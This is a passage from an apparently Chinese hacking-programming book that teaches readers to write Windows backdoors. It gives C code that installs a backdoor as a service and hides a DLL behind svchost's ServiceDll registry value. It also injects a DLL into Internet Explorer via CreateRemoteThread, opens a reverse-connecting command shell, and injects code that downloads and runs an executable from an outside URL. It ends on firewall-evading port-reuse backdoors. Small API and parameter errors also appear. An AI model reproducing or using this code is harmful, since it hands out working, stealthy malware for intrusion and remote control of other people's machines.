schService=OpenService(schSCManager,"MyDoor",SERVICE_START);//假如服务已存在则打开服务

if(schService==NULL)//打开失败

{

printf("OpenService Error!\n");

CloseServiceHandle(schSCManager);

return 0;

}

}

}

if(StartService(schService,0,NULL)==0)//启动服务

{

dwErrorCode=GetLastError();

if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)//服务正在运行

{

printf("StartService Error!\n");

CloseServiceHandle(schSCManager);

CloseServiceHandle(schService);

return 0;

}

}

while(QueryServiceStatus(schService,＆InstallServiceStatus)!=0)//查询服务状态

{

if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)//服务是否在初始化阶段

{

Sleep(100);

}

else

{

break;

}

}

if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)//查询服务状态,看有没有启动成功

{

printf("Install service Failed");

}

else

{

printf("Install service Successed");

}

CloseServiceHandle(schSCManager);

CloseServiceHandle(schService);

return 1;

}

3.删除服务

在实现创建和启动服务之后，还需要完成服务配置程序的另一个功能：删除服务。与创建和启动服务相比，删除服务就显得非常容易了。先调用QueryServiceStatus函数查询服务状态。如果要删除的服务处于正在运行状态，则需调用ControlService函数停止服务，再调用DeleteService函数删除服务；如果服务处于停止状态，则直接调用DeleteService函数即可将其删除。其中ControlService函数直接向服务程序的控制处理函数发送控制码，来控制服务的运行状态。其具体格式如下：

BOOL ControlService(SC_HANDLE hService,

DWORD dwControl,

LPSERVICE_STATUS lpServiceStatus);

该函数包含的参数的具体作用如下：

hService：服务的句柄。

dwControl：要发送的控制码，如果想停止服务，则发送SERVICE_CONTROL_STOP。

lpServiceStatus：该参数的作用是返回服务状态。

而DeleteService函数的作用是删除服务，该函数只有一个schService参数，它指向要删除服务的句柄。下面是实现删除服务的具体代码段：

int RemoveService()

{

SC_HANDLE schSCManager;

SC_HANDLE schService;

SERVICE_STATUS NServiceStatus;

schSCManager=OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库

if(schSCManager==NULL)

return 0;//打开服务

schService=OpenService(schSCManager,"MyDoor",SERVICE_ALL_ACCESS);

if(schService==NULL)

return 0;

QueryServiceStatus(schService,＆NServiceStatus);//查询服务状态

if(NServiceStatus.dwCurrentState==SERVICE_RUNNING)//如果服务正在运行就停止服务

{

ControlService(schService, SERVICE_CONTROL_STOP,＆NServiceStatus);

}

if(DeleteService(schService))//删除服务

{

printf("remove service Successed");

CloseServiceHandle(schSCManager);//关闭打开的句柄

CloseServiceHandle(schService);

return 0;

}

else

{

printf("remove service Failed");

CloseServiceHandle(schSCManager);//关闭打开的句柄

CloseServiceHandle(schService);

return 0;

}

}

到这里，服务配置部分已经完成了，下面还需要编写服务控制部分，这部分相对于服务配置要稍微简单一些。

4.实现服务控制

服务控制部分其实就是一个回调函数，外部程序把控制命令传送给这个函数的dwCode参数，该函数通过调用SetServicesStatus函数来设置服务的状态。

服务配置端具体的实现代码如下：

void WINAPI ServiceControl(DWORD dwCode)

{

switch(dwCode)

{

case SERVICE_CONTROL_PAUSE://服务暂停

ServiceStatus.dwCurrentState=SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE://服务继续

ServiceStatus.dwCurrentState=SERVICE_RUNNING;

break;

case SERVICE_CONTROL_STOP://服务停止

ServiceStatus.dwCurrentState=SERVICE_STOPPED;

ServiceStatus.dwWin32ExitCode=0;

ServiceStatus.dwCheckPoint=0;

ServiceStatus.dwWaitHint=0;

if(SetServiceStatus(ServiceStatusHandle,＆ServiceStatus)==0)//设置服务状态

{

OutputDebugString("SetServiceStatus in ServiceControl in Switch Error!\n");

}

return;

case SERVICE_CONTROL_INTERROGATE:

break;

default:

break;

}

if(SetServiceStatus(ServiceStatusHandle,＆ServiceStatus)==0)//设置服务状态

{

OutputDebugString("SetServiceStatus in ServiceControl out Switch Error!\n");

}

return;

}

其中ServiceControl函数并不需要程序来调用，当服务控制管理器收到控制码后，系统就会自动调用ServiceControl函数。

5.编写服务部分

编写完服务控制部分后就只剩服务部分代码了。在编写服务部分时先调用RegisterServiceCtrlHandler（函数注册控制）函数，调用SetServiceStatus函数将服务的状态设置为运行状态，最后调用CreateThread函数开启线程，作为执行后门代码。其中RegisterServiceCtrlHandler函数是一个用于SCM的CtrlHander回调函数，其具体格式如下：

SERVICE_STATUS_HANDLE RegisterServiceCtrlHandler(

LPCTSTR lpServiceName,

LPHANDLER_FUNCTION lpHandlerProc);

其包含的参数的作用如下：

lpServiceName：该参数用于设置服务的名称。

lpHandlerProc：该参数的作用是设置服务控制函数的地址。

如果该函数调用成功，则会返回一个32位的SERVICE_STATUS_HANDLE句柄。SCM就是使用该句柄来确定服务。当服务需要把其当时的状态传递给SCM时，就必须把这个句柄传递给需要它的Win32函数。实现这一部分的具体代码如下：

void WINAPI ServiceMain(DWORD dwArgc, LPTSTR*lpArgv)

{

HANDLE hThread;

ServiceStatus.dwServiceType=SERVICE_WIN32;//填写SERVICE_STATUS结构

ServiceStatus.dwCurrentState=SERVICE_START_PENDING;

ServiceStatus.dwControlsAccepted=SERVICE_ACCEPT_STOP

|SERVICE_ACCEPT_PAUSE_CONTINUE;

ServiceStatus.dwServiceSpecificExitCode=0;

ServiceStatus.dwWin32ExitCode=0;

ServiceStatus.dwCheckPoint=0;

ServiceStatus.dwWaitHint=0;

ServiceStatusHandle=RegisterServiceCtrlHandler("MyDoor",ServiceControl);//注册服务控制函数

if(ServiceStatusHandle==0)

{

OutputDebugString("RegisterServiceCtrlHandler Error!\n");

return;

}

ServiceStatus.dwCurrentState=SERVICE_RUNNING;

ServiceStatus.dwCheckPoint=0;

ServiceStatus.dwWaitHint=0;

if(SetServiceStatus(ServiceStatusHandle,＆ServiceStatus)==0)//设置服务状态

{

OutputDebugString("SetServiceStatus Error!\n");

return;

}

hThread=CreateThread(NULL,0,RunService, NULL,0,NULL);//启动后门线程

if(hThread==NULL)

{

OutputDebugString("CreateThread Error!\n");

}

return;

}

可以看出，通过CreateThread函数中的线程函数RunService可以实现自定义的后门功能。由于这里使用的是零管道正向连接后门，这样，后门就可以以服务的方式启动了。

另外，由于在VC++6.0中的程序入口点的函数是main和winmain，所以当程序以系统服务状态运行后，还是从main和winmain执行，这样就不会去执行ServiceMain函数。为了解决这个问题，必须在程序的入口点函数中调用StartServiceCtrlDispatcher函数，该函数通过连接服务控制管理器，开始控制调度程序线程（ServiceMain函数）。

StartServiceCtrlDispatcher函数只有一个参数，该参数指向一个SERVICE_TABLE_ENTRY结构数组，该结构数组记录了这个服务程序中包含所有服务的名称和服务的进入点函数。

下面是该函数的具体调用过程：

int main(int argc, char*argv[])

{

SERVICE_TABLE_ENTRY DispatchTable[]=

{

{"MyDoor",ServiceMain},//服务程序的名称和入口点

{NULL, NULL}//SERVICE_TABLE_ENTRY结构必须以"NULL"结束

};

StartServiceCtrlDispatcher(DispatchTable);//连接服务控制管理器,开始控制调度程序线程

if(argc==2)

{

if(!stricmp(argv[1],"-install"))

{

InstallService();//创建服务

}

if(!stricmp(argv[1],"-remove"))

{

RemoveService();//删除服务

}

}

return 0;

}

整个服务程序的执行流程是：先进入Main函数通过调用StartServiceCtrlDispatcher函数连接服务控制管理器，开始控制调度程序线程，并启动服务入口点函数；再在服务入口点注册服务控制函数（ServiceControl），最后启动后门代码。

4.4.4　svchost.exe自动加载启动的实现

Windows系统服务分为独立进程和共享进程两种，在Windows NT时只有服务器管理器SCM（Services.exe）有多个共享服务。随着系统内置服务的增加，在Windows 2000中微软又把很多服务做成共享方式，由svchost.exe（一个属于微软Windows操作系统的系统程序，用于执行DLL文件）启动。Windows 2000一般有两个svchost进程，一个是RPC（Remote Procedure Call）服务进程，另一个是由很多服务共享的svchost.exe。而在Windows XP中，则一般有4个以上的svchost.exe服务进程，Windows 2003 Server中则更多。要实现svchost.exe共享服务，则必须使一个svchost进程启动多个服务。

但svchost本身只是作为服务宿主，并不实现任何服务功能，所以需要svchost启动的服务以动态链接库形式（Dynamic Linkable Library, DLL）实现。在安装这些服务时，把服务的可执行程序指向svchost，启动这些服务时由svchost调用相应服务的动态链接库来启动服务，而一个svchost.exe进程可以调用多个动态链接库。

通过设置服务在注册表中的参数可以使svchost.exe进程知道某一服务是由哪个动态链接库负责。注册表中服务的信息保存在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services分支下，在该处保存了本机所有服务的信息，如图4-21所示。单击某个服务即可看到Parameters子键，其中ServiceDll键值表明该服务由哪个动态链接库负责。并且所有这些服务动态链接库都必须要导出一个ServiceMain()函数，用来处理服务任务。

图　4-21　注册表中的服务信息

虽然这些服务是使用共享进程方式由svchost启动的，但是系统中会有多个svchost进程。出现这种情况的原因在于：系统把这些服务分为几组，同组服务共享一个svchost进程，不同组服务使用多个svchost进程。

Svchost的所有组和组内所有服务在注册表中位置是HKEY_LOCAL_MACHINE\SOFT-WARE\Microsoft\Windows NT\CurrentVersion\Svchost，如图4-22所示。在启动一个svchost.exe负责的服务时，服务管理器如遇到可执行程序内容ImagePath已存在于服务管理器的映像库，就不启动第2个进程svchost，而直接启动服务，这就实现了多个服务共享一个svchost进程。

图　4-22　svchost所有组在注册表中的位置

注意　Svchost已经调用StartServiceCtrlDispatcher来调度服务线程，所以在实现动态链接库时就不再调用。另外，动态链接库接收到的都是Unicode字符串。

所以要想实现隐藏自己的目的，不需要建立一个由Svchost启动的服务，只需替换已有服务ServiceDll键值所指向的Dll（即修改的ServiceDll键值），并将该服务设置为自动启动即可。由于这种服务启动后由svchost加载，不增加新的进程，只是svchost的一个DLL，而且一般系统管理员是不会检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Current Version\Svchost服务组是否变化。即使检查也不一定能发现异常，因此，如果添加一个这样的DLL后门，伪装的好，还是比较隐蔽的。

由于服务函数要为Svchost调用，所以必须是导出函数，并且其能接收Unicode字符串。为修改注册表实现替换服务（安装后门）和还原服务（删除后门），还需要两个导出函数Install和Remove，只需利用rundll32.exe来调用这两个函数，就可以实现安装和卸载服务。通过Svchost.exe自动加载与系统服务自启动非常相似。

4.5　专家点拨

点拨1：正向连接后门与反向连接后门有什么不同？

解答：二者不同之处在于，在正向连接的情况下，服务器端也就是被控制端，在编程实现的时候是采用服务器端的编程方法；而控制端在编程实现时采用客户端的编程方法。

点拨2：在删除服务时为什么会出现无法删除的情况？

解答：出现这样的情况，其原因在于删除的服务正在运行。如果要删除的服务处于正在运行状态，则需调用ControlService函数先停止该服务，再调用DeleteService函数，才可将其删除。

4.6　总结与经验积累

本章先介绍后门的基本概念，再详细介绍了几种简单cmdshell程序的编程，以及如何通过编程方法实现后门中包含的几种常用功能和4种常用的自启动编程技术。通过对本章的学习，读者不仅可以通过编程方式编辑出具有一定功能的后门程序，还可以采用各种自启动方式实现隐藏后门的目的。

第5章
高级系统后门编程技术

重点提示

♂远程线程技术

♂端口复用后门

随着防火墙的普及，即使反向连接后门的穿墙能力仍然有限的。很多防火墙已对进程进行过滤，没有在防火墙进程规则里的程序将不能对网络进行访问。所以即使给服务器装上后门也无法对服务器实施控制，还增加了被发现的可能性，所以有必要编写一些高级系统后门。

5.1　远程线程技术

远程线程技术是指通过在另一个进程中创建远程线程的方法进入某个进程的内存地址空间。利用远程线程技术可以实现木马程序和后门的隐藏，而且该项技术已得到广泛的应用。

5.1.1　初步的远程线程注入技术

远程线程中的远程不是跨越计算机，而是跨越进程。假如有A和B两个进程，其中A是系统的正常进程，而进程B是木马进程。如果进程A中启动一个新线程，并且用这个线程来实现木马功能，当新线程启动后，B进程自动退出。此时在进程列表中就看不到木马线程，并且新线程是通过系统正常进程访问网络，就不会被防火墙拦截。

创建远程线程的具体流程如图5-1所示。

图　5-1　创建远程线程的一般流程

1）先需要提升后门进程权限，这里只需把自身进程权限设置为调试权限。如果要注入的是系统进程，如果没有提升后门权限，当调用OpenProcess函数时，就会返回null。

提升后门自身权限的代码就是模板函数（EnableDebugPriv），其具体内容如下：

int EnableDebugPriv(const char*name)

{

HANDLE hToken;

TOKEN_PRIVILEGES tp;

LUID luid;

//打开进程令牌环

if(!OpenProcessToken(GetCurrentProcess(),

TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,

＆hToken))

{

printf("OpenProcessToken error\n");

return 1;

}

//获得进程本地惟一ID

if(!LookupPrivilegeValue(NULL, name,＆luid))

{

printf("LookupPrivilege error!\n");

}

tp.PrivilegeCount=1;

tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;

tp.Privileges[0].Luid=luid;

//调整进程权限

if(!AdjustTokenPrivileges(hToken,0,＆tp, sizeof(TOKEN_PRIVILEGES),NULL, NULL))

{

printf("AdjustTokenPrivileges error!\n");

return 1;

}

return 0;

}

如果想提升自身进程调试权限，则可以用以下的格式调用该函数：

if(EnableDebugPriv(SE_DEBUG_NAME))//获得调试权限

{

printf("add privilege error");

return FALSE;

}

2）在成功提升后门进程权限后，就可以调用OpenProcess函数打开目标进程，只需将OpenProcess函数的第一个参数dwDesiredAccess指向进程对象。由于是创建远程线程，可将其值直接设置为Process_ALL_ACCESS，即所有权限。其函数的具体调用方式如下：

if((hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId))==NULL)//打开目标进程

{

printf("OpenProcess error\n");

return FALSE;

}

3）在写入内存之前，需要给系统分配一个内存空间，这里使用VirtualAllocEx函数来实现。该函数的具体格式如下：

LPVOID VirtualAllocEx(

HANDLE hProcess,

LPVOID lpAddress,

SIZE_T dwSize,

DWORD flAllocationType,

DWORD flProtect);

其中各个参数的具体作用如下。

hProcess——申请内存所在的进程句柄。

lpAddress——保留页面的内存地址，一般用NULL自动分配。

dwSize——欲分配的内存大小，以字节为单位。注意实际分配的内存大小是页内存大小的整数倍。

flAllocationType——该参数用于设置内存空间的属性，要保留还是提交给物理存储器，这里设置为MEM_COMMT，即保留。

flProtect——内存空间的保护属性，这里设置为PAGE_READWRITE可读写。

如果该函数调用成功，则返回申请的内存空间首地址。在申请内存空间之后，就可以将木马DLL全路径文件名的字符串写入到该内存中。

在写入过程中需调用WriteProcessMemory函数。该函数的具体格式如下：

BOOL WriteProcessMemory(

HANDLE hProcess,

LPVOID lpBaseAddress,

LPVOID lpBuffer,

DWORD nSize,

LPDWORD lpNumberOfBytesWritten);

其中各个参数的具体含义如下：

hProcess——要写入进程内存的进程句柄。

lpBaseAddress——要写入内存的起始地址，由VirtualAllocEx函数返回。

lpBuffer——要写入数据的缓冲区。

nSize——要写入的字节数。

lpNumberOfBytesWritten——实际写入的字节数。

如果写入内存成功，则返回TRUE。这部分实现代码如下：

char*pszLibFileRemote;

//申请存放dll文件名的路径

pszLibFileRemote=(char*)VirtualAllocEx(hRemoteProcess,

NULL, lstrlen(DllFullPath)+1,

MEM_COMMIT, PAGE_READWRITE);

if(pszLibFileRemote==NULL)

{

printf("VirtualAllocEx error\n");

return FALSE;

}

//把dll的完整路径写入内存

if(WriteProcessMemory(hRemoteProcess,

pszLibFileRemote,(void*)DllFullPath, lstrlen(DllFullPath)+1,NULL)==0)

{

printf("WriteProcessMemory error\n");

return FALSE;

}

4）由于LoadLibrary函数是一个KERNEL32.DLL文件导出函数，每个系统进程都会加载这个DLL，所以该函数的代码就会映射到每个系统进程中。由于KERNEL32.DLL是系统的DLL，所以不同进程中同一函数的地址是相同的，本进程的LoadLibrary函数地址也可以同于其他进程。

可以使用GetProcAddress函数得到LoadLibrary函数的地址。该函数的调用形式如下：

GetProcAddress(GetModuleHandle(TEXT("Kernel")),"LoadLibararyA");

其中GetModuleHandle函数的作用是获取一个应用程序或动态链接库的模块句柄，它只包含一个参数，该参数指向一个模块的文件名。如果该函数调用成功，则返回模块句柄。

5）要创建一个远程线程，则需使用微软提供的CreateRemoteThread函数，该函数可以在其他进程中创建新线程。其具体格式如下：

HANDLE CreateRemoteThread(

HANDLE hProcess,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId);

其中各个参数的作用如下。

hProcess——要创建远程线程的进程句柄。

lpThreadAttributes——指向线程的安全描述结构体的指针，一般设置为NULL，表示使用默认的安全级别。

dwStackSize——线程堆栈大小，一般设置为0，表示使用默认的大小。一般为1M。

lpStartAddress——线程函数的地址。它不是指向本身进程内存中的函数地址，而是要在目标进程内存中的函数地址。

lpParameter——线程参数。

dwCreationFlags——线程的创建方式，其中CREATE_SUSPENDED是以挂起方式创建。

lpThreadId——输出参数，记录创建的远程线程的ID。

可以看出这个函数是CreateThread函数的扩充，但是它比CreateThread函数多了hProcess参数，该参数指向要创建新线程的进程的句柄。

注意　在编程过程中如果注入的进程不是系统进程（如IE进程），则在注入进程前调用CreateRemoteThread也是不会出错的。

有了上面的基础，就可以很容易写出注入函数。具体的内容如下：

BOOL InjectDll(const char*DllFullPath, const DWORD dwRemoteProcessId)

{

HANDLE hRemoteProcess;

if(EnableDebugPriv(SE_DEBUG_NAME))//获得调试权限

{

printf("add privilege error");

return FALSE;

}

if((hRemoteProcess=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId))==NULL)//打开目标进程

{

printf("OpenProcess error\n");

return FALSE;

}

char*pszLibFileRemote;

pszLibFileRemote=(char*)VirtualAllocEx(hRemoteProcess,

NULL, lstrlen(DllFullPath)+1,

MEM_COMMIT, PAGE_READWRITE);//申请存放dll文件名的路径

if(pszLibFileRemote==NULL)

{

printf("VirtualAllocEx error\n");

return FALSE;

}

if(WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(void*)DllFullPath, lstrlen(DllFullPath)+1,NULL)==0)//把dll的完整路径写入到内存

{

printf("WriteProcessMemory error\n");

return FALSE;

}

PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)//得到LoadLibraryA函数地址

GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryA");

if(pfnStartAddr==NULL)

{

printf("GetProcAddress error\n");

return FALSE;

}

HANDLE hRemoteThread;

if((hRemoteThread=CreateRemoteThread(hRemoteProcess, NULL,0,pfnStartAddr, pszLib FileRemote,0,NULL))==NULL)//启动远程线程

{

printf("CreateRemoteThread error\n");

return FALSE;

}

return TRUE;

}

可以看出InjectDll函数包含DllFullPath和dwRemoteProcessId两个参数，前者是后门dll全文件名；而后者是需要插入进程的ID号。如果该函数调用成功，则返回TRUE。

到这里注入功能还没有实现，因为要传递给InjectDll函数的是一个进程的ID，如要注入explorer.exe进程，则要给InjectDll函数传递该进程的ID号，而每次启动explorer.exe时，其所对应的进程ID都是不同的，所以就必须通过进程名来得到进程ID。

下面通过GetProcessID函数得到进程ID的具体实现代码：

DWORD GetProcessID(char*ProcessName)

{

PROCESSENTRY32 pe32;

pe32.dwSize=sizeof(pe32);

HANDLE hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);//获得系统内所有进程快照

if(hProcessSnap==INVALID_HANDLE_VALUE)

{

printf("CreateToolhelp32Snapshot error");

return 0;

}

BOOL bProcess=Process32First(hProcessSnap,＆pe32);//枚举列表中的第一个进程

while(bProcess)

{

if(strcmp(strupr(pe32.szExeFile),strupr(ProcessName))==0)//比较找到的进程名和需要查找的进程名,若一样则返回进程ID

return pe32.th32ProcessID;

bProcess=Process32Next(hProcessSnap,＆pe32);//继续查找

}

CloseHandle(hProcessSnap);

return 0;

}

不难看出，该函数只有一个参数，其作用是指向要查找进程名的字符串指针。如果该函数调用成功则返回进程ID，否则将返回0。

在得到进程ID号后，就可以对IE进程进行注入。其实现代码如下：

int APIENTRY WinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR lpCmdLine,

int nCmdShow)

{

char Path[255];

char DllPath[255];

GetSystemDirectory(Path, sizeof(Path));//得到Windows系统路径

Path[3]=0x00;//0x00截断字符,得到盘符

strcat(Path,"Program Files\\Internet Explorer\\iexplore.exe");//得到IE带路径文件名

WinExec(Path, SW_HIDE);//启动IE,为了防止系统中没有IE进程

Sleep(5000);//暂停5秒,等待IE启动

DWORD Pid=GetProcessID("iexplore.exe");//得到IE进程

GetCurrentDirectory(sizeof(DllPath),DllPath);//得到程序自身路径

strcat(DllPath,"\\BackDoorDll.dll");//得到DLL带路径文件名

InjectDll(DllPath, Pid);//注入IE进程

return 0;

}

其中，Sleep函数可让程序暂停指定的时间。它只有一个参数，该参数表示要暂停的毫秒数。而WinExec函数用于运行指定的程序，它有两个参数，第一个参数是指向要运行程序带路径文件名的字符串指针；而第二个参数定义启动程序的常数值，SW_HIDE表示隐藏窗口。

5.1.2　编写远程线程注入后门

如果后门运用了远程线程技术，当然就没有进程，同时访问网络也是通过系统正常进程来完成，所以就可以避开防火墙的拦截。下面介绍如何实现远程线程注入的反向连接后门。

先创建一个dll工程，再把后门代码封装成一个函数写入这个dll工程，最后在DLLMain函数中调用这个函数。但在实际操作中就会发现：注入的进程被中断。这是位于DLL中的DLLMain函数没有返回而导致其主线程的中断。为解决这个问题，可把这个后门的功能代码写成一个线程函数，在DLLMain函数中调用CreateThread函数创建并启动这个线程。

后门DLL的实现代码如下：

DWORD WINAPI DoorThread(LPVOID lpParam)

{

char wMessage[512]="\r\n------------------------by新起点------------------------\r\n";

BYTE minorVer=2;

BYTE majorVer=2;

WSADATA wsaData;

WORD sockVersion=MAKEWORD(minorVer, majorVer);

if(WSAStartup(sockVersion,＆wsaData)!=0)

return 0;

SOCKET s=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,0,0);

if(s==INVALID_SOCKET)

{

printf("socket error\n");

return 0;

}

sockaddr_in sin;

sin.sin_family=AF_INET;

sin.sin_port=htons(4500);

sin.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");

if(connect(s,(sockaddr*)＆sin, sizeof(sin))==-1)

{

printf("connect error\n");

return 0;

}

if(send(s, wMessage, strlen(wMessage),0)==SOCKET_ERROR)

{

printf("Send message error\n");

return 0;

}

cmdshell(s);

return 0;

}

BOOL APIENTRY DllMain(HANDLE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved)

{

switch(ul_reason_for_call)

{

case DLL_PROCESS_ATTACH://DLL被加载到内存时

{

DWORD ThreadId;

CreateThread(NULL, NULL, DoorThread, NULL, NULL,＆ThreadId);

break;

}

default:break;

}

return TRUE;

}

通过上述代码可以实现后门的DLL，该后门的编写注入程序与注册程序是一样的，在这里只需在main函数中调用它即可。

5.1.3　远程线程技术的发展

任何一种黑客技术，都会不断发展和强大，远程线程技术当然也不例外。前面介绍的远程线程技术，由于调用LoadLibrary函数加载DLL文件，当远程线程启动后，在目标进程的模块中可以发现后门的DLL文件。

在使用DLL的情况下，也可让其在进程模块中消失。先在自身进程中装载DLL文件，返回装载入内存的首地址，还需得到该DLL模块在进程中的大小和后门线程函数的地址（该线程函数地址是DLL文件中的一个导出函数）；再在目标进程中申请相同大小的内存空间，得到首地址，并把自身进程空间中DLL模块的数据复制到目标进程申请的内存空间中；根据自身进程中的模块的首地址、线程函数地址和目标进程中申请的内存空间的首地址，计算出目标进程中线程函数的地址；最后根据得到的地址，创建并启动远程线程。

下面详细介绍不使用DLL文件实现进程注入的方法。由于CreateRemoteThread函数的IpStartAddress参数指向的是线程函数地址（目标进程中的函数地址），因此可将木马函数写入到目标进程的内存空间中调用CreateRemoteThread函数创建线程，但实现起来有一定难度。

其实先在注入程序中定位要用到的API函数的地址，写入目标进程内存就可以实现将木马函数写到目标进程的内存空间中。另外，在木马函数中还需要调用一些API函数，那么要定位到这些API函数的地址也是一个需要解决的问题。在这里只需将用到的字符串写入目标进程内存即可解决这个问题。

综合这两个问题的解决方法，只需要先定义一个结构，在此结构中存入到用到的API函数地址和字符串，最后把这个结构写入内存，从而得到写入位置的内存的起始地址。

该结构的具体内容如下：

typedef struct_RemotePara

{

char Url[255];//下载文件的url

char FilePath[255];//保存文件的路径

DWORD DownAddr;//URLDownloadToFile函数的地址

DWORD ExecAddr;//WinexeC函数的地址

}RemotePara;

还需把实现后门功能的线程函数写入目标进程的内存空间中。由于WriteProcessMemory函数的nsize参数是指向写入内存的字节数，所以在写入内存前，需要定位线程函数的大小。在这里可以设置一个很大的值，只要写入的数据的字节数不超过这个值就不会出错。

下面以插入一个IE进程的下载者为例介绍实现进程注入的具体过程。需要先调用URLDownloadToFile函数下载文件，该函数是Urlmon.dll中的一个导出函数。

下载文件的的实现代码如下：

DWORD__stdcall ThreadProc(RemotePara*lpPara)

{

typedef UINT(__stdcall*MWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);//定义WinexeC函数的原型

typedef HRESULT(__stdcall*MURLDownloadToFile)(LPUNKNOWN pCaller, LPCTSTR szURL,

LPCTSTR szFileName, DWORD dwReserved, LPBINDSTATUSCALLBACK lpfnCB);//定义URLDownloadToFile函数的原型

MURLDownloadToFile myURLDownloadToFile;

myURLDownloadToFile=(MURLDownloadToFile)lpPara-＞DownAddr;//从结构中得到URLDownloadToFile函数的地址

myURLDownloadToFile(0,lpPara-＞Url, lpPara-＞FilePath,0,0);//调用函数下载文件

MWinExec myWinExec;

myWinExec=(MWinExec)lpPara-＞ExecAddr;//从结构中得到WinexeC函数的地址

myWinExec(lpPara-＞FilePath,1);//调用函数运行下载的文件

return 0;

}

当文件下载完毕之后，就需要运行下载的文件，在这里需要调用WinexeC函数，它是kernel.dll中的一个导出函数。剩下的工作就是把数据写入内存和调用相应的函数创建远程线程，其实现代码如下：

BOOL Inject(const DWORD dwRemoteProcessId)

{

if(EnableDebugPriv(SE_DEBUG_NAME))//提升进程权限为调试权限

{

printf("add privilege error");

return FALSE;

}

HANDLE hWnd=OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId);//打开进程

if(!hWnd)

{

printf("OpenProcess failed");

return FALSE;

}

void*pRemoteThread=VirtualAllocEx(hWnd,0,1024*4,MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请内存空间

if(!pRemoteThread)

{

printf("VirtualAllocEx failed");

return FALSE;

}

if(!WriteProcessMemory(hWnd, pRemoteThread,＆ThreadProc,1024*4,0))//把远程的函数写入内存

{

printf("WriteProcessMemory failed");

return FALSE;

}

RemotePara myRemotePara;//设置RemotePara结构

ZeroMemory(＆myRemotePara, sizeof(RemotePara));

HINSTANCE hurlmon=LoadLibrary("urlmon.dll");

HINSTANCE kernel=LoadLibrary("kernel32.dll");

myRemotePara.DownAddr=(DWORD)GetProcAddress(hurlmon,"URLDownloadToFileA");

myRemotePara.ExecAddr=(DWORD)GetProcAddress(kernel,"WinExec");

char urlfile[255];

strcpy(urlfile,"http://www.snow1987.cn/a.exe");

strcpy(myRemotePara.Url, urlfile);

strcpy(myRemotePara.FilePath,"c:\\a.exe");

RemotePara*pRemotePara=(RemotePara*)VirtualAllocEx(hWnd,0,sizeof(RemotePara),MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);//申请内存空间

if(!pRemotePara)

{

printf("VirtualAllocEx failed");

return FALSE;

}

if(!WriteProcessMemory(hWnd, pRemotePara,＆myRemotePara, sizeof(myRemotePara),0))//写入内存

{

printf("WriteProcessMemory failed");

return FALSE;

}

HANDLE hThread=CreateRemoteThread(hWnd,0,0,(LPTHREAD_START_ROUTINE)pRemoteThread,

pRemotePara,0,0);//建立线程

if(!hThread)

{

printf("CreateRemoteThread failed");

return FALSE;

}

return true;

}

5.2　端口复用后门

使用远程线程技术可以穿越防火墙，但这项技术只能应用于反向连接的后门，通过插入进程以其他进程的名义访问网络。如果在内网则接收不到后门的反向连接，此时就无法使用该反向后门了。

5.2.1　后门思路

端口复用是指一个端口上建立了多个连接，而不是在一个端口上面开放了多个服务而互不干扰。在一般情况下，一个端口只能被一个程序所占用，如果通过套接字设置了端口复用选项，则该套接字就可以绑定在已经被占用的端口上，同时并没有权限的区分。通常后绑定的程序权限比较大，后绑定的程序可以接收通过这个端口的所有数据，而先前绑定的程序接收不到任何数据。

端口复用后门是使用端口复用技术的后门程序，这一类后门程序通常是嵌入到系统进程里的线程（dll文件），占用系统资源少，隐蔽性高，最重要的是能突破防火墙，很难察觉。

最初的端口复用后门是复用某个防火墙允许连接的端口，由于后绑定的程序可以接收通过这个端口的所有数据，即后门可以接收到通过这个端口的所有数据，这样后门就会接收大量无用的数据，从而导致必须区分哪些是要传输的命令，所以就需要对收到的数据进行判断。

为方便比较接收到的数据和特征字符，如果相同就启动后门函数。在后门函数启动后，客户端套接字接收到的数据就直接传递给后门函数，不再和特征字符相比较。虽然这样是可行的，但是后门程序复用了相应的服务端口，从而导致原来的服务接收不到任何信息。如以Web服务为例，当后门复用了80端口后，其他用户将无法访问该服务器上的网站，这样后门在服务器上短时间是可以存在的，但是一旦时间长就很容易被网络管理员发现。

由于每台计算机都有一个回环IP地址127.0.0.1，这样一台服务器至少有公网IP地址和回环IP地址两个IP地址。另外，在调用bind函数实现套接字和本地地址绑定时，需要设置sockaddr_in结构，这个结构中的sin_addr.S_un.S_addr字段为设置要绑定的IP地址。因此，后门可只对公网IP的端口复用，再接收客户连接以判断接收到的数据。如果和特征字符相同，则调用后门函数；否则后门就和127.0.0.1的相同端口建立连接并把数据转发给127.0.0.1。

当后门收到由127.0.0.1发送的数据后，就把数据转发给客户，其传递过程如图5-2所示。

图　5-2　复用端口后门基本原理

不难看出，此时后门相当于一个数据转发的中转站，图中箭头代表数据传输的方向。

5.2.2　具体编程实现

本节将在端口复用后门原理和整体结构的基础上，从编程角度介绍其具体实现过程。首先要初始化winsock库，建立套接字；再调用setsocket函数把套接字设置成可重复绑定端口；绑定到本地地址，等待连接，最后利用线程函数创建新线程，其过程如图5-3所示。

图　5-3　端口复用后门的具体实现过程

